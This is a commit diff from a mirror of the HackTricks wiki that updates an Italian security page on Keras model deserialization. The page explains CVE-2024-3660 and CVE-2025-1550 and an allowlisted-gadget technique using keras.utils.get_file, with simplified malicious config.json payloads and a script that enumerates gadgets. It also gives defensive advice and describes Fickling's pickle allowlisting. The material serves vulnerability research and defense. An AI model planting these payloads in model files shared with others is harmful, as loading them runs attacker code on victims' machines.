mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/python/keras-mo
This commit is contained in:
parent
9b88c222b1
commit
b27baadcf5
@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Questa pagina riassume le tecniche di sfruttamento pratico contro il pipeline di deserializzazione del modello Keras, spiega gli interni del formato .keras e la superficie di attacco, e fornisce un toolkit per i ricercatori per trovare Vulnerabilità dei File Modello (MFV) e gadget post-fix.
|
||||
Questa pagina riassume tecniche pratiche di exploitation contro la pipeline di deserializzazione dei modelli Keras, spiega gli internals del formato nativo .keras e la sua attack surface, e fornisce un toolkit per ricercatori per trovare Model File Vulnerabilities (MFVs) e post-fix gadgets.
|
||||
|
||||
## Interni del formato modello .keras
|
||||
## Interni del formato del modello .keras
|
||||
|
||||
Un file .keras è un archivio ZIP che contiene almeno:
|
||||
- metadata.json – informazioni generiche (ad es., versione Keras)
|
||||
- config.json – architettura del modello (superficie di attacco principale)
|
||||
- metadata.json – informazioni generiche (es., versione di Keras)
|
||||
- config.json – architettura del modello (primary attack surface)
|
||||
- model.weights.h5 – pesi in HDF5
|
||||
|
||||
Il config.json guida la deserializzazione ricorsiva: Keras importa moduli, risolve classi/funzioni e ricostruisce strati/oggetti da dizionari controllati dall'attaccante.
|
||||
Il config.json controlla la deserializzazione ricorsiva: Keras importa moduli, risolve classi/funzioni e ricostruisce layer/oggetti da dizionari controllati dall'attaccante.
|
||||
|
||||
Esempio di frammento per un oggetto di strato Dense:
|
||||
Example snippet for a Dense layer object:
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
@ -31,22 +31,22 @@ Esempio di frammento per un oggetto di strato Dense:
|
||||
}
|
||||
}
|
||||
```
|
||||
Deserialization esegue:
|
||||
- Importazione di moduli e risoluzione di simboli dalle chiavi module/class_name
|
||||
- invocazione di from_config(...) o del costruttore con kwargs controllati dall'attaccante
|
||||
- Ricorsione in oggetti annidati (attivazioni, inizializzatori, vincoli, ecc.)
|
||||
Deserialization performs:
|
||||
- Module import and symbol resolution from module/class_name keys
|
||||
- from_config(...) or constructor invocation with attacker-controlled kwargs
|
||||
- Recursion into nested objects (activations, initializers, constraints, etc.)
|
||||
|
||||
Storicamente, questo ha esposto tre primitive a un attaccante che crea config.json:
|
||||
Storicamente, questo esponeva tre primitive a un attaccante che costruiva config.json:
|
||||
- Controllo di quali moduli vengono importati
|
||||
- Controllo di quali classi/funzioni vengono risolte
|
||||
- Controllo di kwargs passati ai costruttori/from_config
|
||||
- Controllo dei kwargs passati ai costruttori/from_config
|
||||
|
||||
## CVE-2024-3660 – RCE bytecode Lambda-layer
|
||||
## CVE-2024-3660 – Lambda-layer bytecode RCE
|
||||
|
||||
Causa principale:
|
||||
- Lambda.from_config() utilizzava python_utils.func_load(...) che decodifica in base64 e chiama marshal.loads() sui byte dell'attaccante; la deserializzazione di Python può eseguire codice.
|
||||
Root cause:
|
||||
- Lambda.from_config() used python_utils.func_load(...) which base64-decodes and calls marshal.loads() on attacker bytes; Python unmarshalling can execute code.
|
||||
|
||||
Idea di exploit (payload semplificato in config.json):
|
||||
Exploit idea (simplified payload in config.json):
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
@ -61,18 +61,18 @@ Idea di exploit (payload semplificato in config.json):
|
||||
}
|
||||
```
|
||||
Mitigazione:
|
||||
- Keras imposta safe_mode=True per impostazione predefinita. Le funzioni Python serializzate in Lambda sono bloccate a meno che un utente non scelga esplicitamente di disattivare con safe_mode=False.
|
||||
- Keras enforces safe_mode=True by default. Serialized Python functions in Lambda are blocked unless a user explicitly opts out with safe_mode=False.
|
||||
|
||||
Note:
|
||||
- I formati legacy (salvataggi HDF5 più vecchi) o le codebase più vecchie potrebbero non applicare controlli moderni, quindi gli attacchi in stile "downgrade" possono ancora applicarsi quando le vittime utilizzano loader più vecchi.
|
||||
- I formati legacy (vecchi salvataggi HDF5) o codebase più datate potrebbero non applicare i controlli moderni, quindi gli attacchi in stile “downgrade” possono ancora applicarsi quando le vittime usano loader più vecchi.
|
||||
|
||||
## CVE-2025-1550 – Importazione di moduli arbitrari in Keras ≤ 3.8
|
||||
## CVE-2025-1550 – Import arbitrario di moduli in Keras ≤ 3.8
|
||||
|
||||
Causa principale:
|
||||
- _retrieve_class_or_fn utilizzava importlib.import_module() senza restrizioni con stringhe di moduli controllate dall'attaccante da config.json.
|
||||
- Impatto: Importazione arbitraria di qualsiasi modulo installato (o modulo piantato dall'attaccante su sys.path). Il codice viene eseguito al momento dell'importazione, quindi si verifica la costruzione dell'oggetto con kwargs dell'attaccante.
|
||||
- _retrieve_class_or_fn usava importlib.import_module() senza restrizioni con stringhe di modulo controllate dall'attaccante provenienti da config.json.
|
||||
- Impatto: import arbitrario di qualsiasi modulo installato (o di un modulo piazzato dall'attaccante su sys.path). Il codice all'import viene eseguito, poi la costruzione dell'oggetto avviene con kwargs controllati dall'attaccante.
|
||||
|
||||
Idea di sfruttamento:
|
||||
Exploit idea:
|
||||
```json
|
||||
{
|
||||
"module": "maliciouspkg",
|
||||
@ -81,15 +81,15 @@ Idea di sfruttamento:
|
||||
}
|
||||
```
|
||||
Miglioramenti della sicurezza (Keras ≥ 3.9):
|
||||
- Elenco di moduli consentiti: importazioni limitate ai moduli ufficiali dell'ecosistema: keras, keras_hub, keras_cv, keras_nlp
|
||||
- Allowlist dei moduli: import limitati ai moduli dell'ecosistema ufficiale: keras, keras_hub, keras_cv, keras_nlp
|
||||
- Modalità sicura predefinita: safe_mode=True blocca il caricamento di funzioni serializzate Lambda non sicure
|
||||
- Controllo dei tipi di base: gli oggetti deserializzati devono corrispondere ai tipi attesi
|
||||
- Controllo di tipo di base: gli oggetti deserializzati devono corrispondere ai tipi attesi
|
||||
|
||||
## Superficie gadget post-fix all'interno dell'elenco consentito
|
||||
## Superficie dei gadget post-fix nella allowlist
|
||||
|
||||
Anche con l'elenco consentito e la modalità sicura, rimane una superficie ampia tra le chiamate Keras consentite. Ad esempio, keras.utils.get_file può scaricare URL arbitrari in posizioni selezionabili dall'utente.
|
||||
Anche con l'allowlisting e la safe mode, rimane una superficie ampia tra i callables di Keras consentiti. Per esempio, keras.utils.get_file può scaricare URL arbitrari in posizioni selezionabili dall'utente.
|
||||
|
||||
Gadget tramite Lambda che fa riferimento a una funzione consentita (non bytecode Python serializzato):
|
||||
Gadget via Lambda che fa riferimento a una funzione consentita (non bytecode Python serializzato):
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
@ -105,19 +105,19 @@ Gadget tramite Lambda che fa riferimento a una funzione consentita (non bytecode
|
||||
}
|
||||
}
|
||||
```
|
||||
Importante limitazione:
|
||||
- Lambda.call() aggiunge il tensore di input come primo argomento posizionale quando invoca il callable target. I gadget scelti devono tollerare un argomento posizionale extra (o accettare *args/**kwargs). Questo limita quali funzioni sono valide.
|
||||
Limitazione importante:
|
||||
- Lambda.call() antepone il tensor di input come primo argomento posizionale quando viene invocato il callable target. I gadget scelti devono tollerare un argomento posizionale extra (o accettare *args/**kwargs). Questo vincola quali funzioni sono utilizzabili.
|
||||
|
||||
Impatti potenziali dei gadget autorizzati:
|
||||
- Download/scrittura arbitraria (piantagione di percorsi, avvelenamento della configurazione)
|
||||
- Callback di rete/effetti simili a SSRF a seconda dell'ambiente
|
||||
- Collegamento all'esecuzione del codice se i percorsi scritti vengono successivamente importati/eseguiti o aggiunti a PYTHONPATH, o se esiste una posizione di esecuzione scrivibile
|
||||
Possibili impatti degli allowlisted gadgets:
|
||||
- Download/scrittura arbitraria (path planting, config poisoning)
|
||||
- Callback di rete / effetti simili a SSRF a seconda dell'ambiente
|
||||
- Possibilità di esecuzione di codice se i percorsi scritti vengono poi importati/eseguiti o aggiunti a PYTHONPATH, o se esiste una location scrivibile che esegue al momento della scrittura (execution-on-write)
|
||||
|
||||
## Toolkit del ricercatore
|
||||
## Toolkit per i ricercatori
|
||||
|
||||
1) Scoperta sistematica di gadget nei moduli consentiti
|
||||
1) Scoperta sistematica dei gadget nei moduli consentiti
|
||||
|
||||
Enumerare i callable candidati tra keras, keras_nlp, keras_cv, keras_hub e dare priorità a quelli con effetti collaterali su file/rete/processo/ambiente.
|
||||
Enumerare i callable candidati in keras, keras_nlp, keras_cv, keras_hub e dare priorità a quelli con effetti collaterali su file/rete/processo/ambiente.
|
||||
```python
|
||||
import importlib, inspect, pkgutil
|
||||
|
||||
@ -160,9 +160,9 @@ candidates.append(text)
|
||||
|
||||
print("\n".join(sorted(candidates)[:200]))
|
||||
```
|
||||
2) Test di deserializzazione diretta (nessun archivio .keras necessario)
|
||||
2) Test diretto di deserialization (nessun archivio .keras necessario)
|
||||
|
||||
Fornire dizionari creati direttamente ai deserializzatori Keras per apprendere i parametri accettati e osservare gli effetti collaterali.
|
||||
Inserisci dicts appositamente creati direttamente nei deserializers di Keras per apprendere i params accettati e osservare gli effetti collaterali.
|
||||
```python
|
||||
from keras import layers
|
||||
|
||||
@ -178,24 +178,65 @@ cfg = {
|
||||
|
||||
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
|
||||
```
|
||||
3) Probing e formati tra versioni
|
||||
3) Cross-version probing and formats
|
||||
|
||||
Keras esiste in più codebase/epoche con diverse protezioni e formati:
|
||||
- Keras integrato in TensorFlow: tensorflow/python/keras (legacy, previsto per la cancellazione)
|
||||
Keras esiste in più codebase/ere con diversi meccanismi di sicurezza e formati:
|
||||
- TensorFlow built-in Keras: tensorflow/python/keras (legacy, previsto per la rimozione)
|
||||
- tf-keras: mantenuto separatamente
|
||||
- Keras 3 multi-backend (ufficiale): introdotto il .keras nativo
|
||||
- Multi-backend Keras 3 (official): ha introdotto il formato nativo .keras
|
||||
|
||||
Ripeti i test tra codebase e formati (.keras vs legacy HDF5) per scoprire regressioni o protezioni mancanti.
|
||||
Ripetere i test attraverso codebase e formati (.keras vs legacy HDF5) per scoprire regressioni o protezioni mancanti.
|
||||
|
||||
## Raccomandazioni difensive
|
||||
## Defensive recommendations
|
||||
|
||||
- Tratta i file modello come input non attendibili. Carica modelli solo da fonti fidate.
|
||||
- Tieni Keras aggiornato; usa Keras ≥ 3.9 per beneficiare di allowlisting e controlli di tipo.
|
||||
- Non impostare safe_mode=False quando carichi modelli a meno che non ti fidi completamente del file.
|
||||
- Considera di eseguire la deserializzazione in un ambiente sandboxed, con privilegi minimi, senza uscita di rete e con accesso al filesystem ristretto.
|
||||
- Applica allowlists/firme per le fonti dei modelli e controlli di integrità dove possibile.
|
||||
- Trattare i file modello come input non attendibili. Caricare modelli solo da sorgenti trusted.
|
||||
- Tenere Keras aggiornato; usare Keras ≥ 3.9 per beneficiare di allowlisting e controlli di tipo.
|
||||
- Non impostare safe_mode=False quando si caricano modelli a meno che non si abbia completa fiducia nel file.
|
||||
- Considerare di eseguire la deserializzazione in un ambiente sandboxed e least-privileged senza accesso di rete in uscita e con accesso al filesystem ristretto.
|
||||
- Applicare allowlists/signatures per le sorgenti dei modelli e controlli di integrità quando possibile.
|
||||
|
||||
## Riferimenti
|
||||
## ML pickle import allowlisting for AI/ML models (Fickling)
|
||||
|
||||
Molti formati di modelli AI/ML (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, vecchi artifact TensorFlow, ecc.) incorporano dati Python pickle. Gli aggressori abusano regolarmente degli import GLOBAL di pickle e dei costruttori di oggetti per ottenere RCE o sostituzione del modello durante il caricamento. I scanner basati su blacklist spesso non rilevano import pericolosi nuovi o non elencati.
|
||||
|
||||
Una difesa pratica fail-closed è agganciare il deserializer pickle di Python e consentire solo un set revisionato di import innocui correlati all’ML durante l’unpickling. Trail of Bits’ Fickling implementa questa policy e distribuisce una allowlist di import ML curata, costruita a partire da migliaia di pickles pubblici su Hugging Face.
|
||||
|
||||
Modello di sicurezza per import “sicuri” (intuizioni distillate da ricerca e pratica): i simboli importati usati da un pickle devono simultaneamente:
|
||||
- Non eseguire codice o causare esecuzione (niente oggetti compiled/source code, esecuzione di comandi esterni, hook, ecc.)
|
||||
- Non ottenere/impostare attributi o elementi arbitrari
|
||||
- Non importare o ottenere riferimenti ad altri oggetti Python dalla VM del pickle
|
||||
- Non innescare deserializer secondari (es. marshal, nested pickle), neanche indirettamente
|
||||
|
||||
Abilitare le protezioni di Fickling il prima possibile nell’avvio del processo in modo che eventuali caricamenti di pickle effettuati da framework (torch.load, joblib.load, ecc.) siano verificati:
|
||||
```python
|
||||
import fickling
|
||||
# Sets global hooks on the stdlib pickle module
|
||||
fickling.hook.activate_safe_ml_environment()
|
||||
```
|
||||
Suggerimenti operativi:
|
||||
- Puoi disabilitare/riabilitare temporaneamente gli hooks dove necessario:
|
||||
```python
|
||||
fickling.hook.deactivate_safe_ml_environment()
|
||||
# ... load fully trusted files only ...
|
||||
fickling.hook.activate_safe_ml_environment()
|
||||
```
|
||||
- Se un modello noto come valido è bloccato, estendi la allowlist per il tuo ambiente dopo aver esaminato i simboli:
|
||||
```python
|
||||
fickling.hook.activate_safe_ml_environment(also_allow=[
|
||||
"package.subpackage.safe_symbol",
|
||||
"another.safe.import",
|
||||
])
|
||||
```
|
||||
- Fickling espone anche dei guard di runtime generici se preferisci un controllo più granulare:
|
||||
- fickling.always_check_safety() per applicare i controlli su tutti i pickle.load()
|
||||
- with fickling.check_safety(): per enforcement limitato (scoped)
|
||||
- fickling.load(path) / fickling.is_likely_safe(path) per controlli one-off
|
||||
|
||||
- Preferisci formati di modello non-pickle quando possibile (es., SafeTensors). Se devi accettare pickle, esegui i loader con least privilege, senza network egress e applica l'allowlist.
|
||||
|
||||
Questa strategia allowlist-first blocca dimostrabilmente i percorsi di exploit comuni dei pickle ML mantenendo un'elevata compatibilità. Nel benchmark di ToB, Fickling ha segnalato il 100% dei file dannosi sintetici e ha consentito ~99% dei file puliti provenienti dai principali repo di Hugging Face.
|
||||
|
||||
## References
|
||||
|
||||
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
|
||||
- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
|
||||
@ -203,5 +244,11 @@ Ripeti i test tra codebase e formati (.keras vs legacy HDF5) per scoprire regres
|
||||
- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
|
||||
- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
|
||||
- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
|
||||
- [Trail of Bits blog – Fickling’s new AI/ML pickle file scanner](https://blog.trailofbits.com/2025/09/16/ficklings-new-ai/ml-pickle-file-scanner/)
|
||||
- [Fickling – Securing AI/ML environments (README)](https://github.com/trailofbits/fickling#securing-aiml-environments)
|
||||
- [Fickling pickle scanning benchmark corpus](https://github.com/trailofbits/fickling/tree/master/pickle_scanning_benchmark)
|
||||
- [Picklescan](https://github.com/mmaitre314/picklescan), [ModelScan](https://github.com/protectai/modelscan), [model-unpickler](https://github.com/goeckslab/model-unpickler)
|
||||
- [Sleepy Pickle attacks background](https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/)
|
||||
- [SafeTensors project](https://github.com/safetensors/safetensors)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user